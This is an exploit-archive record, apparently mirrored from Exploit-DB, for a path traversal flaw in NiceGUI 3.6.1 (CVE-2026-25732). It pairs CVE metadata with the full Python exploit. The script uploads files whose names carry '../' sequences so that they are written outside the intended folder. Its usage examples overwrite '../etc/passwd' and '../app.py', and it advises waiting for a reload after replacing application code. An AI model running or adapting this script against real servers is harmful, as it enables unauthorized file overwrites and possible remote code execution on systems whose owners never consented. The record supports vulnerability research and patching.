{"exploit":{"id":"EDB-52534","name":"NiceGUI 3.6.1 - Path Traversal","description":"NiceGUI 3.6.1 - Path Traversal","cves":["CVE-2026-25732"],"author":"banyamer","published":"2026-04-30","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52534","path":"exploits/multiple/webapps/52534.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52534.py","vulnerabilities":[{"id":"CVE-2026-25732","state":"PUBLISHED","title":"NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write","titleSource":"CVE Program","description":"NiceGUI is a Python-based UI framework. Prior to 3.7.0, NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns. Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected. This vulnerability is fixed in 3.7.0.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25732","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25732"},"updatedAt":"2026-02-09T15:27:21.089Z","retrievedAt":"2026-11-25T16:15:50.660Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52534.png?v=2","url":"https://exploitbin.com/exploits/EDB-52534","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52534/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52534/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Exploit Title: NiceGUI 3.6.1 - Path Traversal\n# Author: Mohammed Idrees Banyamer\n# Instagram: @banyamer_security\n# GitHub: https://github.com/mbanyamer\n# Date: 2025-06-06\n# Tested on: NiceGUI <= 3.6.1 (Python 3.8–3.12 on Linux/Windows)\n# CVE: CVE-2026-25732\n#\n# Affected Versions: <= 3.6.1 (fixed in 3.7.0)\n#\n# Type: Remote Arbitrary File Write / Path Traversal\n# Platform: Web Application (Python / NiceGUI)\n# Author Country: Jordan\n# Weakness: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)\n# Attack Vector: Network\n# Privileges Required: None\n\"\"\"\nCVE-2026-25732 — NiceGUI arbitrary file write (path traversal)\nExploits unsanitized FileUpload.name when app uses it in save path.\n\nUsage:\n  python exploit_cve_2026_25732.py http://target:8080 \"../etc/passwd\" payload.txt\n  python exploit_cve_2026_25732.py http://target:8080 \"../app.py\" malicious_app.py\n\"\"\"\n\nimport sys\nimport requests\nfrom urllib.parse import urljoin\nfrom pathlib import Path\n\ndef exploit(target_url: str, malicious_filename: str, local_payload_path: str | Path):\n    target_url = target_url.rstrip('/') + '/'\n\n    try:\n        with open(local_payload_path, 'rb') as f:\n            payload_bytes = f.read()\n    except Exception as e:\n        print(f\"[-] Cannot read payload file: {e}\")\n        sys.exit(1)\n\n    files = {\n        'file': (malicious_filename, payload_bytes, 'application/octet-stream')\n    }\n\n    print(f\"[*] Target       : {target_url}\")\n    print(f\"[*] Malicious name : {malicious_filename}\")\n    print(f\"[*] Payload size   : {len(payload_bytes):,} bytes\")\n\n    try:\n        # NiceGUI upload endpoint is usually the page itself (multipart POST to /)\n        r = requests.post(\n            target_url,\n            files=files,\n            timeout=12,\n            allow_redirects=False\n        )\n\n        print(f\"[+] Response     : {r.status_code} {r.reason}\")\n        if r.status_code in (200, 201, 204):\n            print(\"[SUCCESS] Upload accepted — file likely written\")\n        elif r.status_code == 413:\n            print(\"[!] Payload too large (server limit)\")\n        elif r.status_code in (400, 403, 422):\n            print(\"[!] Rejected — target may be patched / not vulnerable / wrong endpoint\")\n        else:\n            print(\"[?] Unexpected response — check manually\")\n\n        print(\"\\nSnippet of response:\")\n        print(r.text[:600].replace('\\n', ' ').strip() + \"...\" if len(r.text) > 600 else r.text)\n\n    except requests.RequestException as e:\n        print(f\"[-] Request failed: {e}\")\n\n    print(\"\\nNext steps:\")\n    print(\" • Check filesystem on target (if you have access)\")\n    print(\" • If you overwrote app.py / main.py → wait for reload / restart\")\n    print(\" • Try deeper traversal: '../../some/secret/file' etc.\")\n\nif __name__ == '__main__':\n    if len(sys.argv) != 4:\n        print(__doc__)\n        sys.exit(1)\n\n    target = sys.argv[1]\n    dest_filename = sys.argv[2]\n    payload_file = sys.argv[3]\n\n    exploit(target, dest_filename, payload_file)","sha256":"adf747272721560cb1f2c3f8afaca99e862b635717b1a78efb149f921129c50e","bytes":3028,"fetchedAt":"2026-11-26T11:17:34.233Z","encoding":"utf-8 (display only; download retains original bytes)"}